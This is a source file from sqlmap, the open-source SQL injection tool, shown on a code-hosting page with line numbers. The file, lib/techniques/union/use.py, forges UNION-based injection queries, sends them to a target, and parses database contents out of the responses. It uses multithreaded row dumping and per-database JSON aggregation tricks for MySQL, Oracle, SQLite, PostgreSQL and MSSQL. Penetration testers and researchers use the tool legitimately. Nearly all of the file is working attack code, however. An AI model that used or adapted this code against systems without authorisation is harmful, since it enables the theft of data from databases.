Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
sqlmapproject
GitHub Repository: sqlmapproject/sqlmap
Path: blob/master/lib/techniques/union/use.py
2992 views
1
#!/usr/bin/env python
2
3
"""
4
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
5
See the file 'LICENSE' for copying permission
6
"""
7
8
import json
9
import re
10
import time
11
12
from lib.core.agent import agent
13
from lib.core.bigarray import BigArray
14
from lib.core.common import arrayizeValue
15
from lib.core.common import Backend
16
from lib.core.common import calculateDeltaSeconds
17
from lib.core.common import clearConsoleLine
18
from lib.core.common import dataToStdout
19
from lib.core.common import extractRegexResult
20
from lib.core.common import firstNotNone
21
from lib.core.common import flattenValue
22
from lib.core.common import getConsoleWidth
23
from lib.core.common import getPartRun
24
from lib.core.common import hashDBRetrieve
25
from lib.core.common import hashDBWrite
26
from lib.core.common import incrementCounter
27
from lib.core.common import initTechnique
28
from lib.core.common import isDigit
29
from lib.core.common import isListLike
30
from lib.core.common import isNoneValue
31
from lib.core.common import isNumPosStrValue
32
from lib.core.common import listToStrValue
33
from lib.core.common import parseUnionPage
34
from lib.core.common import removeReflectiveValues
35
from lib.core.common import singleTimeDebugMessage
36
from lib.core.common import singleTimeWarnMessage
37
from lib.core.common import unArrayizeValue
38
from lib.core.common import wasLastResponseDBMSError
39
from lib.core.compat import xrange
40
from lib.core.convert import decodeBase64
41
from lib.core.convert import getUnicode
42
from lib.core.convert import htmlUnescape
43
from lib.core.data import conf
44
from lib.core.data import kb
45
from lib.core.data import logger
46
from lib.core.data import queries
47
from lib.core.dicts import FROM_DUMMY_TABLE
48
from lib.core.enums import DBMS
49
from lib.core.enums import HTTP_HEADER
50
from lib.core.enums import PAYLOAD
51
from lib.core.exception import SqlmapDataException
52
from lib.core.exception import SqlmapSyntaxException
53
from lib.core.settings import MAX_BUFFERED_PARTIAL_UNION_LENGTH
54
from lib.core.settings import NULL
55
from lib.core.settings import SQL_SCALAR_REGEX
56
from lib.core.settings import TURN_OFF_RESUME_INFO_LIMIT
57
from lib.core.threads import getCurrentThreadData
58
from lib.core.threads import runThreads
59
from lib.core.unescaper import unescaper
60
from lib.request.connect import Connect as Request
61
from lib.utils.progress import ProgressBar
62
from lib.utils.safe2bin import safecharencode
63
from thirdparty import six
64
from thirdparty.odict import OrderedDict
65
66
def _oneShotUnionUse(expression, unpack=True, limited=False):
67
retVal = hashDBRetrieve("%s%s" % (conf.hexConvert or False, expression), checkConf=True) # as UNION data is stored raw unconverted
68
69
threadData = getCurrentThreadData()
70
threadData.resumed = retVal is not None
71
72
if retVal is None:
73
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
74
75
if not kb.jsonAggMode:
76
injExpression = unescaper.escape(agent.concatQuery(expression, unpack))
77
kb.unionDuplicates = vector[7]
78
kb.forcePartialUnion = vector[8]
79
80
# Note: introduced columns in 1.4.2.42#dev
81
try:
82
kb.tableFrom = vector[9]
83
kb.unionTemplate = vector[10]
84
except IndexError:
85
pass
86
87
query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited)
88
where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6]
89
else:
90
injExpression = unescaper.escape(expression)
91
where = vector[6]
92
query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False)
93
94
payload = agent.payload(newValue=query, where=where)
95
96
# Perform the request
97
page, headers, _ = Request.queryPage(payload, content=True, raise404=False)
98
99
if page and kb.chars.start.upper() in page and kb.chars.start not in page:
100
singleTimeWarnMessage("results seems to be upper-cased by force. sqlmap will automatically lower-case them")
101
102
page = page.lower()
103
104
incrementCounter(PAYLOAD.TECHNIQUE.UNION)
105
106
if kb.jsonAggMode:
107
for _page in (page or "", (page or "").replace('\\"', '"')):
108
if Backend.isDbms(DBMS.MSSQL):
109
output = extractRegexResult(r"%s(?P<result>.*)%s" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload))
110
if output:
111
try:
112
retVal = ""
113
fields = re.findall(r'"([^"]+)":', extractRegexResult(r"{(?P<result>[^}]+)}", output))
114
for row in json.loads(output):
115
retVal += "%s%s%s" % (kb.chars.start, kb.chars.delimiter.join(getUnicode(row[field] or NULL) for field in fields), kb.chars.stop)
116
except:
117
retVal = None
118
else:
119
retVal = getUnicode(retVal)
120
elif Backend.isDbms(DBMS.PGSQL):
121
output = extractRegexResult(r"(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload))
122
if output:
123
retVal = output
124
else:
125
output = extractRegexResult(r"%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload))
126
if output:
127
try:
128
retVal = ""
129
for row in json.loads(output):
130
# NOTE: for cases with automatic MySQL Base64 encoding of JSON array values, like: ["base64:type15:MQ=="]
131
for match in re.finditer(r"base64:type\d+:([^ ]+)", row):
132
row = row.replace(match.group(0), decodeBase64(match.group(1), binary=False))
133
retVal += "%s%s%s" % (kb.chars.start, row, kb.chars.stop)
134
except:
135
retVal = None
136
else:
137
retVal = getUnicode(retVal)
138
139
if retVal:
140
break
141
else:
142
# Parse the returned page to get the exact UNION-based
143
# SQL injection output
144
def _(regex):
145
return firstNotNone(
146
extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE),
147
extractRegexResult(regex, removeReflectiveValues(listToStrValue((_ for _ in headers.headers if not _.startswith(HTTP_HEADER.URI)) if headers else None), payload, True), re.DOTALL | re.IGNORECASE)
148
)
149
150
# Automatically patching last char trimming cases
151
if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""):
152
warnMsg = "automatically patching output having last char trimmed"
153
singleTimeWarnMessage(warnMsg)
154
page = page.replace(kb.chars.stop[:-1], kb.chars.stop)
155
156
retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop))
157
158
if retVal is not None:
159
retVal = getUnicode(retVal, kb.pageEncoding)
160
161
# Special case when DBMS is Microsoft SQL Server and error message is used as a result of UNION injection
162
if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError():
163
retVal = htmlUnescape(retVal).replace("<br>", "\n")
164
165
hashDBWrite("%s%s" % (conf.hexConvert or False, expression), retVal)
166
167
elif not kb.jsonAggMode:
168
trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start))
169
170
if trimmed:
171
warnMsg = "possible server trimmed output detected "
172
warnMsg += "(probably due to its length and/or content): "
173
warnMsg += safecharencode(trimmed)
174
logger.warning(warnMsg)
175
176
elif re.search(r"ORDER BY [^ ]+\Z", expression):
177
debugMsg = "retrying failed SQL query without the ORDER BY clause"
178
singleTimeDebugMessage(debugMsg)
179
180
expression = re.sub(r"\s*ORDER BY [^ ]+\Z", "", expression)
181
retVal = _oneShotUnionUse(expression, unpack, limited)
182
183
elif kb.nchar and re.search(r" AS N(CHAR|VARCHAR)", agent.nullAndCastField(expression)):
184
debugMsg = "turning off NATIONAL CHARACTER casting" # NOTE: in some cases there are "known" incompatibilities between original columns and NCHAR (e.g. http://testphp.vulnweb.com/artists.php?artist=1)
185
singleTimeDebugMessage(debugMsg)
186
187
kb.nchar = False
188
retVal = _oneShotUnionUse(expression, unpack, limited)
189
else:
190
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
191
kb.unionDuplicates = vector[7]
192
193
return retVal
194
195
def configUnion(char=None, columns=None):
196
def _configUnionChar(char):
197
if not isinstance(char, six.string_types):
198
return
199
200
kb.uChar = char
201
202
if conf.uChar is not None:
203
kb.uChar = char.replace("[CHAR]", conf.uChar if isDigit(conf.uChar) else "'%s'" % conf.uChar.strip("'"))
204
205
def _configUnionCols(columns):
206
if not isinstance(columns, six.string_types):
207
return
208
209
columns = columns.replace(' ', "")
210
if '-' in columns:
211
colsStart, colsStop = columns.split('-')
212
else:
213
colsStart, colsStop = columns, columns
214
215
if not isDigit(colsStart) or not isDigit(colsStop):
216
raise SqlmapSyntaxException("--union-cols must be a range of integers")
217
218
conf.uColsStart, conf.uColsStop = int(colsStart), int(colsStop)
219
220
if conf.uColsStart > conf.uColsStop:
221
errMsg = "--union-cols range has to represent lower to "
222
errMsg += "higher number of columns"
223
raise SqlmapSyntaxException(errMsg)
224
225
_configUnionChar(char)
226
_configUnionCols(conf.uCols or columns)
227
228
def unionUse(expression, unpack=True, dump=False):
229
"""
230
This function tests for an UNION SQL injection on the target
231
URL then call its subsidiary function to effectively perform an
232
UNION SQL injection on the affected URL
233
"""
234
235
initTechnique(PAYLOAD.TECHNIQUE.UNION)
236
237
abortedFlag = False
238
count = None
239
origExpr = expression
240
startLimit = 0
241
stopLimit = None
242
value = None
243
244
width = getConsoleWidth()
245
start = time.time()
246
247
_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr)
248
249
# Set kb.partRun in case the engine is called from the API
250
kb.partRun = getPartRun(alias=False) if conf.api else None
251
252
if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper():
253
# Removed ORDER BY clause because UNION does not play well with it
254
expression = re.sub(r"(?i)\s*ORDER BY\s+[\w,]+", "", expression)
255
debugMsg = "stripping ORDER BY clause from statement because "
256
debugMsg += "it does not play well with UNION query SQL injection"
257
singleTimeDebugMessage(debugMsg)
258
259
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL, DBMS.SQLITE) and expressionFields and not any((conf.binaryFields, conf.limitStart, conf.limitStop, conf.forcePartial, conf.disableJson)):
260
match = re.search(r"SELECT\s*(.+?)\bFROM", expression, re.I)
261
if match and not (Backend.isDbms(DBMS.ORACLE) and FROM_DUMMY_TABLE[DBMS.ORACLE] in expression) and not re.search(r"\b(MIN|MAX|COUNT|EXISTS)\(", expression):
262
kb.jsonAggMode = True
263
if Backend.isDbms(DBMS.MYSQL):
264
query = expression.replace(expressionFields, "CONCAT('%s',JSON_ARRAYAGG(CONCAT_WS('%s',%s)),'%s')" % (kb.chars.start, kb.chars.delimiter, ','.join(agent.nullAndCastField(field) for field in expressionFieldsList), kb.chars.stop), 1)
265
elif Backend.isDbms(DBMS.ORACLE):
266
query = expression.replace(expressionFields, "'%s'||JSON_ARRAYAGG(%s)||'%s'" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join(expressionFieldsList), kb.chars.stop), 1)
267
elif Backend.isDbms(DBMS.SQLITE):
268
query = expression.replace(expressionFields, "'%s'||JSON_GROUP_ARRAY(%s)||'%s'" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join("COALESCE(%s,' ')" % field for field in expressionFieldsList), kb.chars.stop), 1)
269
elif Backend.isDbms(DBMS.PGSQL): # Note: ARRAY_AGG does CSV alike output, thus enclosing start/end inside each item
270
query = expression.replace(expressionFields, "ARRAY_AGG('%s'||%s||'%s')::text" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join("COALESCE(%s::text,' ')" % field for field in expressionFieldsList), kb.chars.stop), 1)
271
elif Backend.isDbms(DBMS.MSSQL):
272
query = "'%s'+(%s FOR JSON AUTO, INCLUDE_NULL_VALUES)+'%s'" % (kb.chars.start, expression, kb.chars.stop)
273
output = _oneShotUnionUse(query, False)
274
value = parseUnionPage(output)
275
kb.jsonAggMode = False
276
277
# We have to check if the SQL query might return multiple entries
278
# if the technique is partial UNION query and in such case forge the
279
# SQL limiting the query output one entry at a time
280
# NOTE: we assume that only queries that get data from a table can
281
# return multiple entries
282
if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or kb.forcePartialUnion or conf.forcePartial or (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
283
expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)
284
285
if limitCond:
286
# Count the number of SQL query entries output
287
countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1)
288
289
if " ORDER BY " in countedExpression.upper():
290
_ = countedExpression.upper().rindex(" ORDER BY ")
291
countedExpression = countedExpression[:_]
292
293
output = _oneShotUnionUse(countedExpression, unpack)
294
count = unArrayizeValue(parseUnionPage(output))
295
296
if isNumPosStrValue(count):
297
if isinstance(stopLimit, int) and stopLimit > 0:
298
stopLimit = min(int(count), int(stopLimit))
299
else:
300
stopLimit = int(count)
301
302
debugMsg = "used SQL query returns "
303
debugMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry")
304
logger.debug(debugMsg)
305
306
elif count and (not isinstance(count, six.string_types) or not count.isdigit()):
307
warnMsg = "it was not possible to count the number "
308
warnMsg += "of entries for the SQL query provided. "
309
warnMsg += "sqlmap will assume that it returns only "
310
warnMsg += "one entry"
311
logger.warning(warnMsg)
312
313
stopLimit = 1
314
315
elif not isNumPosStrValue(count):
316
if not count:
317
warnMsg = "the SQL query provided does not "
318
warnMsg += "return any output"
319
logger.warning(warnMsg)
320
else:
321
value = [] # for empty tables
322
return value
323
324
if isNumPosStrValue(count) and int(count) > 1:
325
threadData = getCurrentThreadData()
326
327
try:
328
threadData.shared.limits = iter(xrange(startLimit, stopLimit))
329
except OverflowError:
330
errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit)
331
errMsg += "with switch '--fresh-queries'"
332
raise SqlmapDataException(errMsg)
333
334
numThreads = min(conf.threads, (stopLimit - startLimit))
335
threadData.shared.value = BigArray()
336
threadData.shared.buffered = []
337
threadData.shared.counter = 0
338
threadData.shared.lastFlushed = startLimit - 1
339
threadData.shared.showEta = conf.eta and (stopLimit - startLimit) > 1
340
341
if threadData.shared.showEta:
342
threadData.shared.progress = ProgressBar(maxValue=(stopLimit - startLimit))
343
344
if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
345
kb.suppressResumeInfo = True
346
debugMsg = "suppressing possible resume console info for "
347
debugMsg += "large number of rows as it might take too long"
348
logger.debug(debugMsg)
349
350
try:
351
def unionThread():
352
threadData = getCurrentThreadData()
353
354
while kb.threadContinue:
355
with kb.locks.limit:
356
try:
357
threadData.shared.counter += 1
358
num = next(threadData.shared.limits)
359
except StopIteration:
360
break
361
362
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
363
field = expressionFieldsList[0]
364
elif Backend.isDbms(DBMS.ORACLE):
365
field = expressionFieldsList
366
else:
367
field = None
368
369
limitedExpr = agent.limitQuery(num, expression, field)
370
output = _oneShotUnionUse(limitedExpr, unpack, True)
371
372
if not kb.threadContinue:
373
break
374
375
if output:
376
with kb.locks.value:
377
if all(_ in output for _ in (kb.chars.start, kb.chars.stop)):
378
items = parseUnionPage(output)
379
380
if threadData.shared.showEta:
381
threadData.shared.progress.progress(threadData.shared.counter)
382
if isListLike(items):
383
# in case that we requested N columns and we get M!=N then we have to filter a bit
384
if len(items) > 1 and len(expressionFieldsList) > 1:
385
items = [item for item in items if isListLike(item) and len(item) == len(expressionFieldsList)]
386
items = [_ for _ in flattenValue(items)]
387
if len(items) > len(expressionFieldsList):
388
filtered = OrderedDict()
389
for item in items:
390
key = re.sub(r"[^A-Za-z0-9]", "", item).lower()
391
if key not in filtered or re.search(r"[^A-Za-z0-9]", item):
392
filtered[key] = item
393
items = list(six.itervalues(filtered))
394
items = [items]
395
index = None
396
for index in xrange(1 + len(threadData.shared.buffered)):
397
if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num:
398
break
399
threadData.shared.buffered.insert(index or 0, (num, items))
400
else:
401
index = None
402
if threadData.shared.showEta:
403
threadData.shared.progress.progress(threadData.shared.counter)
404
for index in xrange(1 + len(threadData.shared.buffered)):
405
if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num:
406
break
407
threadData.shared.buffered.insert(index or 0, (num, None))
408
409
items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter)
410
411
while threadData.shared.buffered and (threadData.shared.lastFlushed + 1 >= threadData.shared.buffered[0][0] or len(threadData.shared.buffered) > MAX_BUFFERED_PARTIAL_UNION_LENGTH):
412
threadData.shared.lastFlushed, _ = threadData.shared.buffered[0]
413
if not isNoneValue(_):
414
threadData.shared.value.extend(arrayizeValue(_))
415
del threadData.shared.buffered[0]
416
417
if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo) and not threadData.shared.showEta and not kb.bruteMode:
418
_ = ','.join("'%s'" % _ for _ in (flattenValue(arrayizeValue(items)) if not isinstance(items, six.string_types) else [items]))
419
status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", _ if kb.safeCharEncode else safecharencode(_))
420
421
if len(status) > width and not conf.noTruncate:
422
status = "%s..." % status[:width - 3]
423
424
dataToStdout("%s\n" % status)
425
426
runThreads(numThreads, unionThread)
427
428
if conf.verbose == 1:
429
clearConsoleLine(True)
430
431
except KeyboardInterrupt:
432
abortedFlag = True
433
434
warnMsg = "user aborted during enumeration. sqlmap "
435
warnMsg += "will display partial output"
436
logger.warning(warnMsg)
437
438
finally:
439
for _ in sorted(threadData.shared.buffered):
440
if not isNoneValue(_[1]):
441
threadData.shared.value.extend(arrayizeValue(_[1]))
442
value = threadData.shared.value
443
kb.suppressResumeInfo = False
444
445
if not value and not abortedFlag:
446
output = _oneShotUnionUse(expression, unpack)
447
value = parseUnionPage(output)
448
449
duration = calculateDeltaSeconds(start)
450
451
if not kb.bruteMode:
452
debugMsg = "performed %d quer%s in %.2f seconds" % (kb.counters[PAYLOAD.TECHNIQUE.UNION], 'y' if kb.counters[PAYLOAD.TECHNIQUE.UNION] == 1 else "ies", duration)
453
logger.debug(debugMsg)
454
455
return value
456
457